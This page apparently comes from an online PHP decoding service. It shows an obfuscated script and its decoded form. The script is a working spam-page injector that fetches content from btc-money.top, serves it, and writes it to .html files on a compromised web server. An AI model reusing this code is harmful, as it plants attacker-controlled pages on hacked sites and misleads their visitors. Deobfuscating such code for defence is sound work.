Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto m89KL; Xmkjk: hcXgm: goto V9ptK; IMhZ5: echo "\64\60\x34"; goto W79Cc; x27TD: ..

Decoded Output download

<?php 
goto m89KL; Xmkjk: hcXgm: goto V9ptK; IMhZ5: echo "404"; goto W79Cc; x27TD: A5csY: goto zYTdQ; zYTdQ: QlgcV: goto suxGU; PV_dh: if (!empty($j0pP3)) { goto hcXgm; } goto IMhZ5; W79Cc: goto A5csY; goto Xmkjk; vBUcW: $j0pP3 = SrMzk(base64_decode("aHR0cHM6Ly9idGMtbW9uZXkudG9wLzIwMjQtMTIvbWFpbi5waHA/a2V5PSZsaW5rdXJsPQ") . $H1scM); goto jRhyp; e7fPX: Wwu8u: goto r4enO; t92BG: goto QlgcV; goto e7fPX; V9ptK: echo $j0pP3; goto RlZbU; RlZbU: file_put_contents('' . $C9T9P[1] . ".html", $j0pP3); goto x27TD; r4enO: $j0pP3 = SRmzk(base64_decode("aHR0cHM6Ly9idGMtbW9uZXkudG9wLzIwMjQtMTIvbWFpbi5waHA/a2V5PQ") . $C9T9P[1] . "&linkurl=" . $H1scM); goto PV_dh; m89KL: $H1scM = "https://diversity.iu.edu/media/{urlkey}.html"; goto YESbW; jRhyp: echo $j0pP3; goto t92BG; YESbW: if (preg_match("#(.{11})\.html#i", $_SERVER["REQUEST_URI"], $C9T9P)) { goto Wwu8u; } goto vBUcW; suxGU: function srmzK($BKl_J) { goto PMEYx; KiXEU: curl_close($LR4tU); goto Dd4sA; OX9_7: return $EY0SH; goto nLDfk; bwsr_: $EY0SH = curl_exec($LR4tU); goto KiXEU; ItlkE: curl_setopt($LR4tU, CURLOPT_CONNECTTIMEOUT, $SxjmB); goto bwsr_; VQyep: @($EY0SH = file_get_contents($BKl_J, false, $lHzmH)); goto PDMni; YmqKA: curl_setopt($LR4tU, CURLOPT_RETURNTRANSFER, 1); goto ItlkE; Dd4sA: WAy0M: goto OX9_7; BTXur: $SxjmB = 5; goto bZaf9; vu0F_: $lHzmH = stream_context_create($Mv1DD); goto VQyep; PDMni: if (!empty($EY0SH)) { goto WAy0M; } goto wf9X0; wf9X0: $LR4tU = curl_init(); goto BTXur; PMEYx: $Mv1DD = array("http" => array("method" => "GET", "timeout" => 5)); goto vu0F_; bZaf9: curl_setopt($LR4tU, CURLOPT_URL, $BKl_J); goto YmqKA; nLDfk: } 
 ?>

Did this file decode correctly?

Original Code

<?php
goto m89KL; Xmkjk: hcXgm: goto V9ptK; IMhZ5: echo "\64\60\x34"; goto W79Cc; x27TD: A5csY: goto zYTdQ; zYTdQ: QlgcV: goto suxGU; PV_dh: if (!empty($j0pP3)) { goto hcXgm; } goto IMhZ5; W79Cc: goto A5csY; goto Xmkjk; vBUcW: $j0pP3 = SrMzk(base64_decode("\141\110\122\60\143\x48\115\x36\x4c\x79\x39\151\x64\107\115\x74\142\x57\x39\x75\132\x58\x6b\165\x64\107\71\x77\114\172\x49\167\x4d\152\121\164\x4d\124\x49\166\142\127\x46\160\142\x69\x35\x77\x61\110\x41\57\x61\x32\x56\65\120\x53\x5a\x73\x61\127\x35\x72\x64\x58\x4a\x73\120\x51") . $H1scM); goto jRhyp; e7fPX: Wwu8u: goto r4enO; t92BG: goto QlgcV; goto e7fPX; V9ptK: echo $j0pP3; goto RlZbU; RlZbU: file_put_contents('' . $C9T9P[1] . "\56\x68\164\155\x6c", $j0pP3); goto x27TD; r4enO: $j0pP3 = SRmzk(base64_decode("\x61\x48\x52\x30\x63\110\x4d\66\x4c\171\71\x69\x64\107\x4d\x74\142\x57\71\x75\x5a\x58\x6b\x75\x64\107\71\167\114\x7a\x49\167\115\x6a\x51\x74\115\124\111\x76\x62\127\x46\x70\x62\151\65\x77\141\110\x41\57\141\x32\126\x35\x50\x51") . $C9T9P[1] . "\46\154\x69\156\153\x75\162\154\x3d" . $H1scM); goto PV_dh; m89KL: $H1scM = "\x68\x74\164\160\x73\x3a\x2f\57\144\151\x76\x65\x72\163\151\164\171\56\x69\x75\x2e\145\x64\165\x2f\155\x65\x64\x69\141\x2f\x7b\x75\x72\x6c\153\145\x79\175\56\150\x74\x6d\154"; goto YESbW; jRhyp: echo $j0pP3; goto t92BG; YESbW: if (preg_match("\x23\50\56\173\x31\61\x7d\51\134\x2e\150\x74\155\154\x23\151", $_SERVER["\122\x45\121\125\105\123\124\x5f\125\x52\111"], $C9T9P)) { goto Wwu8u; } goto vBUcW; suxGU: function srmzK($BKl_J) { goto PMEYx; KiXEU: curl_close($LR4tU); goto Dd4sA; OX9_7: return $EY0SH; goto nLDfk; bwsr_: $EY0SH = curl_exec($LR4tU); goto KiXEU; ItlkE: curl_setopt($LR4tU, CURLOPT_CONNECTTIMEOUT, $SxjmB); goto bwsr_; VQyep: @($EY0SH = file_get_contents($BKl_J, false, $lHzmH)); goto PDMni; YmqKA: curl_setopt($LR4tU, CURLOPT_RETURNTRANSFER, 1); goto ItlkE; Dd4sA: WAy0M: goto OX9_7; BTXur: $SxjmB = 5; goto bZaf9; vu0F_: $lHzmH = stream_context_create($Mv1DD); goto VQyep; PDMni: if (!empty($EY0SH)) { goto WAy0M; } goto wf9X0; wf9X0: $LR4tU = curl_init(); goto BTXur; PMEYx: $Mv1DD = array("\150\x74\164\x70" => array("\x6d\145\x74\150\157\144" => "\107\x45\x54", "\164\151\155\x65\157\x75\164" => 5)); goto vu0F_; bZaf9: curl_setopt($LR4tU, CURLOPT_URL, $BKl_J); goto YmqKA; nLDfk: }

Function Calls

None

Variables

None

Stats

MD5 6802319a2c08b55ee24f08d9c8c622b6
Eval Count 0
Decode Time 48 ms